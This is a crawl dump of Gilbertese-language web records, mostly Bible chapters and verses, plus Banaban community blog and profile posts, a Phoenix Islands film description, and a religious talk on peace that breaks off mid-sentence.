te ai, a rawei maiuia man te tiringaki n te kabaang, a kakorakoraki ngkana a mamara, a riki n ninikoria n te buaka, ao a katae aia kai aia taanga n tautia I-anena; 35a manga reke irouia aine aia koraki ake a tia ni mate ngke a a manga uti. Ao tem'angina a kataereaki ni karokoi mateia, ngke a rawa ni kani kainaomataki, b'a a aonga n reke i rouia te maiu ae raoiroi riki ngkana a manga uti. 36A kataaki tem'angina ni kakanikoaia ao ni kataereaia, ao tem'angina ni kabaeaia n taurekereke ao ni kainakiia n te karabuuti. 37A karebanaki n atibu, a kaririaki, a korouaki n taao, a kamateaki n te kabaang, a tiotio nako ni kunnikaiia ni kunnikai aika karaoaki mani kuniia tiibu ma kooti. Akea aia b'ai, a kamarakaki, a b'ainikirinaki; 38a aki tau nakon te aonnaba aei: a tiotio nako n rereua, ao i aoni maunga, ao i nanoni b'angani matang ma kinonon te aba. 39Ao aomata aikai, aika E kukurei te Atua i rouia i bukin aia onimaki, a bane n aki karekea te baere atongaki n te taeka n akoi, 40i bukina b'a iai ana kaantaninga ae raoiroi riki te Atua i bukira: b'a a na aki kona ni kakoroaki raoi aroia n ai aron are E tangiriia iai te Atua, ngkana a aki raonaki i roura.\nCopyright","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/11","date":"2017-03-25T00:10:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218188717.24\/warc\/CC-MAIN-20170322212948-00469-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1312,"character_repetition_ratio":0.068,"word_repetition_ratio":0.002,"special_characters_ratio":0.245,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Aei arora ae kam na iangoira iai: iangoira b'a ana toro Kristo, aika touati i bukin tataekinani baika raba aika ana b'ai te Atua. 2Ao te bae e tangiraki mairouia touati bon aroia ni kakaonimaki. 3Ma i rou, e aki rangi ni kakawaki nako iu neneran taekau i roumi, ke n te kabowi; ao e aki mena i rou motikan taekau. 4B'a I aki ata te b'ai ae I bure iai; ma aei e aki kakoaua arou b'a I aki kabuakakaki. Bon te UEA ae te tia motika taekau. 5Ma ngaia ae kam na tai motika taekan te aomata i m'ain taina raoi, are tain rokon te UEA, are E na kaoti b'ain te roo aika raba, ao E na kaoti naba iango aika raba i nanoia aomata. Ao ngkanne ane a na anganaki aomata nako kamoamoaaia mairoun te Atua. 6Ao baikai, taari, I a tia ni kabonganai b'a taekau ma Aboro i bukimi, b'a kam aonga n reireiaki iai i roura nanon te taeka are kangai: \"Tai ri aon taeka ake a koreaki.\" b'a kam aonga n aki kamoamoa temanna b'a e raoiroi riki nakon temanna. 7B'a antai ae karaoiko b'a e na raka arom nakoia tem'angina? Ao tera ae iai i roum ae ko aki anganaki? Ao ngkana e a tia n reke i roum, ao ko aera ngkai ko kamoamoako b'a aongkoa ko aki anganaki? 8Kam a kaman rauaki! Kam a kaman riki b'a kaub'ai ngkami! Kam a tia n riki b'a uea, ao ngaira b'a aomata aika akea wareia. Kam bia bon riki b'a uea ngkami, b'a ti aonga n uea naba ma ngkami. 9B'a I taku n au iango b'a E a tia te Atua n anganira ngaira aika taan tuatua nera ae te kabanea mai buki, b'a kanga aomata ake a tia ni baireaki taekaia b'a a na kamateaki, ao ti riki b'a b'aai ni kamataku nakon te aonnaba nakoia anera ma aomata nako. 10Ti baba i bukini Kristo, ma kam wanawana i Rouna. Ti mamara, ma kam korakora. Kam karineaki, ma ti aki karineaki. 11Ma ngkekei ni karokoa ngkai ao ti baki ma n taka; e kaan ae ti nang aki kunnikaira; ti oreaki; ao ti tuai n tekateka ni maeka; 12ao akea motirawara ni m'akuri ma baira. Ngkana a taetae n iowawa aomata nako ira, ao ngaira ti taetae ni kakab'aiaia; ngkana ti b'ainikirinaki, ao ti taotaon nanora. 13Ngkana a taekinaki arora ni kabuakakaki, ao ti kaboi n taeka aika raraoi. Ti riki ni karokoa te bong aei b'a kaanga maangen aonnaba ma baarekani b'aai ni kabane. 14I aki koroi baikai b'a kam aonga ni mamaa, ma I kan reireingkami b'a kanga natiu aika tangiraki. 15B'a e ngae ngkana tebwina tengaa m'aitiia aomata aika reireingkami taekani Kristo, ma ti temanna tamami: I riki b'a tamami i nanoni Kristo Iesu n te euangkerio are I uotia nako imi. 16Ma ngaia ae I butingkami b'a kam na kakairi i rou. 17Anne bukin ae I kanakoa iai Timoteo nako imi, ae natiu ae tangiraki ae kakaonimaki, i nanon te UEA, b'a e na kauringngkami taiani koaua aika I nakonako iai n onimakinan Kristo Iesu; ao boni ngaai naba aika I reireiniia iai kaain te ekaretia n taabo ni kabane. 18Iai tem'angina i buakomi aika kainikatonga i bukin aia iango are a taku b'a N na aki nako imi. 19Ma e aki maan ao N na roko i roumi, ngkana nanon te UEA, ao N na ata raoi m'akaia aomata akana kainikatonga akanne; ma akea nanou n aia taeka. 20B'a uean te Atua e a noraki arona ni maiuia aomata ni baika karaoi ma tiaki n taeka ake a atong. 21Tera ae kam tangiria n rokou i roumi? Kam tangirai b'a N na roko ma te b'ai ni kataere, ke te tangira ma te nano ae nimamanei?\nCopyright","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/4","date":"2017-03-24T00:58:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187227.84\/warc\/CC-MAIN-20170322212947-00028-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":632,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 2:88Ma kam karaoa ae e raoiroi ngkana kam toua mwin te tua are mairoun te Uea, are e koreaki ni kaangai, \"Ko na tangira raom n ai aron tangiram i bon i roum.\" Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2\/8","date":"2017-03-26T17:35:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189244.95\/warc\/CC-MAIN-20170322212949-00271-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":0.999956727,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999567270278931}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 1:2525A bita te koaua mairoun te Atua nakon te kewe; ao a taromauria te bae karikaki ma n toro i rouna, n onea mwin te Tia Kariki b'aai, are riai ni karaoiroaki n aki toki. Amen. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/1\/25","date":"2017-04-26T23:40:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121752.57\/warc\/CC-MAIN-20170423031201-00569-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.9999679327,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999679327011108}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nKam na mauri inanon ana tangira te Atua...\nAu tabeka aio e bon kaota te reitaki ni iango ma ngkami kain ara maneaba aika kam karineaki. Ena aki riki ba te kaiangaiatoa ma ena riki ba te te maroro aika kaunga ao mani bongana ibukin maiura ni Kiritian.\nNgai te manna ae i kakoaua ba ena manga oki Iesu n aron ana taeka are e taekinna ni Ioane 14:1-3. E taku Iesu ba ena nako ao ena manga oki n anaira. Are nanona ba ngkana e oki Iesu ao anne te tai are tia tiba kona ni uti iai ao man rierake nakon te maiu arei...\nEna aki rangi n ababaki au maroro ma e kamatata n te boki ae Mataio 24 ni kabane kibuna ba i bon kanikinaean okina aika riki, ao ngkana a riki aikai ao ngkanne ko ataia ba ea kan oki.\nNgkana ko taku ba ko boraoi ni iango ma ngai n aio, ao i kainanoa am ibuobuoki n aron aikai... Ko kakoaua ae iai okin Iesu, ao ko kakoaua ae ngkana e mate te aomata ao e taninga rokon Iesu... Kam raba ao tekeraoi te maroro iaon aio.\nViews: 43\nComments are closed for this blog post","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/akea-te-rimoa-nako-karawa","date":"2017-04-29T19:22:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00088-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":207,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IOANE 1:5151Ao E taku nakoina, \"Bon te koaua ni koaua ae I a tuangngkami: ane kam na nora karawa b'a e kaukaki, ao ana anera te Atua b'a a rierake ma n ruo rikaaki i etan Natin te Aomata.\" Last Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/51","date":"2017-04-25T13:26:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120349.46\/warc\/CC-MAIN-20170423031200-00348-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.9998537302,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998537302017212}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KOROTE 2:55B'a I boni ngae n aki mena i roumi n te rab'ata, ma I boni mena naba i roumi n te tamnei; ao I kim'areirei n noran aromi aika riai ma aromi n teimatoa n onimakina Kristo. Last Verse Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.bible.is\/GILBSP\/Col\/2\/5","date":"2017-04-26T00:30:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121000.17\/warc\/CC-MAIN-20170423031201-00496-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.9999147654,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999147653579712}","num_words":53,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kuneaki te Bwaretaiti: Te Aono n Rawaki, bon te birim are e ninia nako nanon te PIPA ma marawana. Ikai are a kona n noraki iai aekan rakai aika a tuai man nonoraki mai mwaina. Aio te birim ae karaoaki irouia taan rabakau man te New England Aquarium iaan aia karikirake ae te Primal Ocean Project. Taan rabakau aikai a bon karoko iaon Rawaki mani karaoi teboia ikekei n ririki aika 2000 ao 2002. Man teboia aika a mwaiti ni marawan te Aono aei ao a karinani iai kaubwain PIPA ma aekakin nako rakaina ao ikana. Man te ukeuke aio, ae oti n te birim aio, ao e a turuturu raoi iai aron PIPA bwa ngaia ngkai te kabanea ni bubura n okai n te aonnaba ae akea kabotauana. E ota naba n te birim aei aron kamanoan kaubwain te Aono aio rinanon taian mwane aika a na bwaka ni kabooa mwin te mwane man te akawa are iaon kawaina n toki. Te mwane n Tania are e a tia n tei ngkai bon buokan kamanoan te Baretaiti aio bwa e na teimatoa n tai nako.\n(Maanna 25 miniti) (E oti n te DVD ao n te DVD-PAL)","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/phoenixislands.org\/film-ki.php","date":"2017-04-30T18:34:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917125841.92\/warc\/CC-MAIN-20170423031205-00418-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":195,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.39,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko ai bon kamakura rabwatam ao ko tekena te aba ko a roko naba i New Zealand bon ti tebo teitei ma natim are Nei Elfriede. E kamauriko naba Totiring ma buuna ao kain te auti ni kabane. Tekeraoi ao regards nakoia kain am auti . Send am email address. Tia boo moa!\noh sis this is CUBA and it is situated in CENTRAL AMERICA. IM studying medicine in this country and this year is my second year. This school consist of students from all over the world including the pacific. 4 more years for me to become a qualified doctor. Euara am information anne , ia manga boni kaongora riki ngkana iai rongorongon ara tabo aei. Tiabo moa.\nhei sis kko mena ikai? anne au mob number02102904173 call me bwa i kan tae2 ma gke? kko mena n te south bwa i nori tamneim n am page. loloma levu to an u r family over there. all the best and takecare! mocemada emele!","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/banabanvoice.ning.com\/profile\/JemimaJulietKoster","date":"2017-04-23T15:42:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118713.1\/warc\/CC-MAIN-20170423031158-00433-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.9532870054,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 0.9532870054244995}","num_words":161,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":0.919,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke E noriia aomata aika rangi ni m'aiti Iesu, ao E ararake n te maunga, ao E tekateka, ao a nako Ina ana reirei; 2ao E moanna n reireiia, ni kangai: 3A a kab'aia akana nanorinano, b'a aia b'ai Uean te Atua. 4A a kab'aia akana nanokawaki, b'a a na kabebeteaki nanoia. 5A a kab'aia akana a nimamamanei b'a a na abana te aba. 6A a kab'aia akana b'aruua te raoiroi mani kani mooi iai b'a a na ngae. 7A a kab'aia akana nanoanga, b'a a na nanoangaaki. 8A a kab'aia akana itiaki nanoia, b'a a na nora te Atua! 9A a kab'aia taan raoi, b'a a na atongaki b'a natin te Atua. 10A kab'aia akana b'ainikirinaki i bukini karaoan nanon te Atua, b'a aia b'ai Uean te Atua. 11\"Kam a kab'aia ngkana a taetaebuakaingkami aomata, ma ni b'ainikiriningkami, ma n atonga te taetae ae kewe ae buakaka b'a taekami i bukin ae au aomata ngkami. 12B'a a b'ainikiriniia burabeti ake a maiu i m'aimi n te aro naba aei. Kam na kukurei, ao kim'areirei, b'a a bati b'aai n tituaraoi ae E katauraoi te Atua i bukimi. 13Ai aron taoron te aonnaba ngkami; ma ngkana e mauna taorona, ao e na taoronaki n tera? Akea te b'ai ae e na bongana nako iai, ma ti te teweaki nako, ao ikanne are e a kona n reke ae e toutouaki iai irouia aomata. 14Ai aron ootan te aonnaba ngkami. E aki kona n raba te kawa ae kateaki i aon te maunga. 15Ao a aki kaura te taura aomata ni kaki i aan te b'aketi, ma a kaki i aoni nena; ao e nako ootana nakoia aomata ni kabaneia ake n te auti. 16Ao ai aromi naba, kam na kaoti ami oota i mataia aomata, b'a a na noori ami m'akuri aika raraoi, ao a na neboa Tamami are i karawa iai. 17Tai taku i nanomi b'a I roko b'a N na urui tuua ake e anga Moote, ma aia taeka n reirei burabeti. I aki roko b'a N na urui, ma I roko b'a N na kakoroi bukiia. 18B'a e koaua ae I a tuangngkami, b'a ngkai e tuai ni mauna karawa ma aonnaba, ao e na bon aki mauna manin taekan te Tua ae te kabanea n uarereke, ke aron taekana ae te kabanea ni kimototo, i m'ain rikini b'aai nako ake a taekinaki n te Tua b'a a na riki. 19Ma ngaia aei, b'a ane kamamaraaea m'aakan te Tua teuana ae maraurau riki i buakon tuua aikai, ao e reireiia aomata b'a e a toki manenana, ao e na atongaki b'a moan te mangori n Uean te Atua; ma ane tou mwin tuua aikai n reireiia aomata iai, ao e na atongaki b'a e kakannato n Uean te Atua. 20B'a I taku nako imi b'a ngkami kam aki kakororaoa riki nanon te Atua nakon are a karaoia taani koroboki ma B'aritaio, ao kam aki kona n rin n Uean te Atua. 21Kam ongo b'a e atongaki nakoia ami bakatibu, Ko na tai kamateia aomata; b'a ane kamatea te aomata ao e na kateaki n te kabowi b'a e na baireaki taekana; 22ao Ngai I taku nako imi, b'a ane un nakon tarina, ao e na kateaki n te kabowi b'a e na baireaki taekana; ao ane kangai nakon tarina, Akea warem; ao e na tei i matan te Tanirim b'a e na baireaki taekana iai; ao ane atonga tarina b'a akea uaana ao e na motikaki taekana b'a e na teweaki nako n te ai are i moone. 23Ma ngaia aei, ngkana ko nang anga am karea nakon te Atua n te baonikarea, ao ngkana ko uringa tarim iai b'a e un i roum i bukin te b'ai ae ko a tia ni karaoia, 24ao ko na kitana am karea iai i rarikin te baonikarea ao naako; karekea moa te raoi ma tarim, ao rimwi ko na oki n anga am karea. 25Ko na bareiko n raoiakina te aomata are na uota taekam nakon te kabowi n te tai are ko mena iai ma ngaia i aoni kawaimi nakon te kabowi, b'a e kawa n anga ngkoe nakon te tia motikitaeka, ao e kawa te tia motikitaeka n anga ngkoe nakon te bureitiman, ao ko kawa ni kakiaki i nanon te karabuuti. 26E koaua ae I a tuangko b'a ko na aki kona n oti nako maiai ni karokoa ko a tia ni kab'aka ni kabane te m'ane are motikaki b'a tuaam. 27\"Kam ongo b'a e atongaki ae kangai, 'Ko na tai wene ni bure' 28Ao Ngai I taku nako imi b'a ane tarataraa te aine n iango i nanona b'a e na wene ni botaki ma ngaia, ao e a tia ni wene ni bure ma ngaia i nanona. 29Ao ngkana e kairiko matam ane mai ataim nakon te bure, ao ko na autia, ao tewea nako mai roum; b'a e raoiroi riki ngkana akea b'ain rab'atam teuana nakon ae e teweaki nako rab'atam ni kabaneaki nako moone. 30Ao ngkana e kairiko baim ane ataim nakoni karaoan te bure, ao ko na koreia ni kaaki ao tewea nako; b'a e raoiroi riki ngkana akea b'ain rab'atam teuana nakon ae bane n nako rab'atam nako moone. 31\"E atongaki naba ae kangai, 'Te mm'aane ane kanakoa buuna, ao ke e anganna te beb'a ni buu raure.' 32Ma Ngai I taku nako imi, b'a ane kaki buuna, ngkana e tuai ni wene ni bure, ao e a karika neierei b'a te tia wene ni bure ngkana e a manga iein; ao te mm'aane are iein ma neiere kakiaki, ao e wene ni bure naba. 33\"Kam ongo naba b'a e atongaki nakoia ami bakatibu, 'Tai urua am taeka ni bau, ma ko na karaoi b'aai ake ko taetae ni bau iai nakon te Uea b'a ko na karaoi.' 34Ma Ngai I taku nako imi, Tai tuea naba teutana. Tai m'anewea arani karawa ngkana ko tuea, b'a nnen te Atua ae tautaeka iai; 35ao tai m'anewea aran aonnaba, b'a nneni katokaani waena; ke aran Ierutarem b'a ana kawa te Uea are kakannato. 36Ao tai tuea n atuum, b'a ko aki kona ni kamainaina ke ni karorooa te irannatu teaina. 37Ma are kam na taekinna, e na ti kangai, 'Eng' ke 'Tiaki,' ma ngkana a raka am taeka i aon aikai ao a nako mairoun teuare buakaka. 38Kam ongo b'a e atongaki ae kangai, \"Te mata boona te mata, ao te wii boona te wii.\" 39ao Ngai I taku nako imi, Tai karaoa te b'ai ae buakaka nakon te aomata are karaoa ae bure nako im b'a booni mwin are e a tia ni karaoia; ma ane booa tabam ane mai ataim, ao raira tabam ane mai maingim b'a e na booia naba; 40ao ngkana iai ane kani kateiko i matan te tia moti b'a ko aonga n anganna am kabaraki, ao ko na manga anganna naba niniram. 41Ao ane kairoroko b'a ko na iria teuana te maire, ao ko na airi ma ngaia uoua. 42Ane butiko, ao ko na anganna; ao ane kan tangoa am b'ai, ao tai rawa. 43\"Kam ongo b'a e atongaki ae kangai, 'Ko na tangiriia raoraom, ao riba am kairiribai.' 44Ma Ngai I taku nako imi, Kam na tangiriia ami kairiribai, ao tataro i bukiia akana b'ainikiriningkami, 45b'a kam aonga n riki b'a natin Tamami are i karawa iai; b'a E kaota ana taai i aoia akana buakaka ma akana babakanikawai. 46B'a ngkana kam tangiriia akana tangiringkami, ao tera te b'ai n tituaraoi ae kam na karekea iai? Tiaki a karaoa naba aei taan anai taekiti? 47Ao ngkana kam kamauriia ti kaain te Aro, tao a raka riki aromi iai nakoia aomata nako? Tiaki a karaoa naba aei te koraki ake a tuai n onimakina te Atua? 48Ma ngaia ae kam na moanibaan te raoiroi, n ai aron Tamami are i karawa ngkai moanibaan te raoiroi.\nCopyright","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/5","date":"2017-04-28T16:58:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122996.52\/warc\/CC-MAIN-20170423031202-00446-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1310,"character_repetition_ratio":0.061,"word_repetition_ratio":0.009,"special_characters_ratio":0.257,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nTokanikai Kirata has not received any gifts yet\nA tia ni weteaki man te maiu aio: Niki Ben, Nei Seata Tumairang ao Nei Tekinoa Ioaba. Niki e kabaea roroana, Nei Seata e ituaki n te breast cancer ao Nei Tekinoa e bon marurung ao ngke e amarake ma tibuna ao ea buburake naba ao ea moti naba ikena ngke bong.\nKam na mauri!\nTia nanokawaki ni katanoata ikai ba ea motirawa man te maiu aei Nei Seata Tumairang i Kioa ngke e karangaina. Nei Seata e bon ituaki n te breast cancer inanon te tai ae maan ao ai te tai aio are ea weteaki iai man te maiu aio. Ena karaoaki matena i Kioa nakon ana rongorngo natina ae Kareo ao ena taunaki naba i Kioa.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/banabanvoice.ning.com\/profile\/TokanikaiKirata","date":"2017-05-22T17:26:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463605485.49\/warc\/CC-MAIN-20170522171016-20170522191016-00082.warc.gz","language":"gil","language_score":0.9999729395,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"gil_Latn_score\": 0.999972939491272}","num_words":135,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.259,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:11E na moamoa i roumi te tangira; ma kam na bati n tangiri naba b'aai n tituaraoi ake mairoun te Tamnei, ma ai moa ra riki b'a kam na kona n taetae ni burabeti. Next Verse 2016 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/1","date":"2017-05-27T00:51:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463608726.4\/warc\/CC-MAIN-20170527001952-20170527021952-00072.warc.gz","language":"gil","language_score":0.9998307824,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9998307824134827}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.271,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Waki ni maiu aika tibwa nako a karikai bwa N na iangoa te reirei n taekan te rau ai moara riki mwiokoan Iesu Kristo ni buokira ni karekean te rau iroura are akea tokina.\nUoua bwai ake a riki tabeua namwakaina n nako a rang n rotai. Te moan, I taetae i aon te mate are Emilie Parker, te nati are tangiraki are onoua ana ririki are toki maiuna ma 25 raona, n ikotaki ma 19 ataei ake a uarereke, n te kakati are kananokawaki i Newtown, Connecticut. I rainanoanga ma ana utu ao I noria bwa a mwaiti ake a aki reke irouia te rau. I kunea te korakora ao te onimaki irouia ana karo, Robert ao Alissa Parker.\nTe kauoua, I kaitibo ma nga membwa ake a kakaonimaki n te Ekaretia n te Ivory Coast i Abidjan.1 Te taetae ni Buranti aei, aban Aberika Maeao ake kaaina a rotaki ni kaangaangan te maiu n te mwane. kabwakaan te tautaeka n te katii iroun te taanga ni buaka, ao uoua te buaka i marenan te botanaomata ma aia tautaeka ake a toki n 2011. Ma I namakina te rau are onoti n rokoia.\nA aki toki n riki bwai ake a kuribwaira n te rau ao a karaoira bwa ti na namakina te kai rotakira.\nAkea ae kona ni mwaninga mwakuri ni bangaaomata n Tebetembwa 11, 2001, n tabo aika kakaokoro n te U.S.? Kakeru akanne a kauringira bwa waekoara naba ara namakin ni kai kamaunaan te rau ma te mweraoi.\nAra karimoa ni mwaane ao buna, ake a kariaria moan natiia, a maeka teniua auti reireiti man te World Trade Center i Nu Iaoki City n te tai are te moan wanikiba ni kakeru arei e moanaa nako te Taua Meang. A rierakea taubukin aia auti ao a niniaki n te maku are akea n arona ni matakuakinan te bwai are a taku bwa kanga te bwai are rang ni kakamaku. Imwiina a kakoaua moanakin te Taua are i Maiaki n te kauowa ni wanikiba. A bon ota ngkekei naba bwa tiaki te tibanako ao ni kakoaua bwa Manhattan are i nano e buakanaki. Ngke e ingunako te Taua mai Maiaki, aia abwatemente e onrake n nangin te bubu are e kaona te tabo are Manhattan mai nano.\nMinotakiia n te bwai are a kakoaua ao n tabeaianga n ekakinakoakiia riki rimwi, a nako ni a kaea te tabo are mano riki ao ngkanne nakon ana kateitei te Ekaretia n te Manhattan titeiki i Lincoln Tienta. Ngke a roko, a kunea bwa tengaun tabun membwa n te Ekaretia i Manhattan nano titebo aia rinerine ake a karaoi ni botiia n te titeiki tienta. A wewete ni kaotia nakoira bwa ti na ataa are a mena iai. E oki nanou bwa a maiu ma I aki mimi n aia tabo. Te kaotioti n tai aikai a reirei bwa te tabo ni kamanomano Zion titeiki ao \"ni katantan man te buaka, ao man te un n te tai are e na kabwaroaki n akea renganana nako aon te aonaba ni kabane.\"2\nA aki kona n okira aia tabo ni maeka e raka i aon teuana te wiiki ao a nanokawaki ni mwaitin te mate irouia ake akea a aia kaairua, ma akea ikoakiia ae korakora.\nN iangoan kabuanibwai aikai, I a tia n rang n rotaki ni kaokoron te reirei i marenan te rau n aonaba ao te rau iroun te aomata.3\nN bungiakin te Tia Kamaiu, kaain karawa aika uanao a kamoamoa te Atua ao ni katanoata, \"E na neboaki te Atua ike moan te rietata, ao a na raoi aonaba; a na akoaki aomata.\"4\nMa, e taraki bwa e kananokawaki e ngae n te tai ae kakawaki aei n rimwian bungiakin Natin te Atua te mwaane, Erote te uea e karekea tiringakiia ataei ake akea aia kaairua i Beterem.5\nTe inaomata n rinerine e kakawaki n te babaire ibukin te kukurei. E kariaia te tangira, te karea, te rikirake iroun temanna, ao te aroaro ni maiu aika riai ibukin rikirakera are akea tokina. Te inaaomata n rinerine naba aei e kariaia bwa e na riki te maraki ni kabane ao te korakai ake ti nori n te maiu ae mamate, e ngae n te tai are e karikaki ni bwai aika ti aki ota iai ao aia rinerine tabemwang are e buakaka ni kamamate. Ao e riki te buaka i karawa ibukin inaomatara n rinerine ae tamaroa ao e manena nakon atakin ana mwakuri te Tia Kamaiu i aon te aba.\nNi kaokiokana n te katebwina ni mwakoro ni Mataio, e reireiia uaake Tengaun ma Uoman ao e kakoaua bwa Ana mwakuri e na aki karekea te rau n te aonaba n te maiu ae mamate aei. A tuangaki Abotoro bwa a na katukui kakabwaian te rau nakoiia taan tia maeka n auti ake a kawari ma e kauringia bwa a na mena \"i buakoia kameaanti … [ao] n ribaki irouia aomata ni bane ibukin arau: ma are e kakaonimaki nakon te toki e na kamaiuaki.\"6 Te katanoata ae kakawaki e taekinaki n te kibu 34: \"Tai taku i nanomi bwa I roko bwa N na uota te raoi nako aon te aba.\"7 E matata bwa akea te rau iaon te aba n ana tai Kristo n tataekina te uangkerio, ao e aki riki naba ngkai.\nN ana kabwarabwara te Uea n Doctrine ao Covenants, a reiakinaki reirei tabeua ake a rang ni bongana. Taekaia aomata ake a aki rairi nanoia, Tamneina are a anganaki aomata n tatabemania ake e roko n te aonaba,8 \"a na aki mwamwakuri inanoia aomata n aki toki.\"9 Te reirei teuana bwa e na anaaki te rau mai aon te aba.10 Burabeti a tia ni katanoata bwa e a tia n 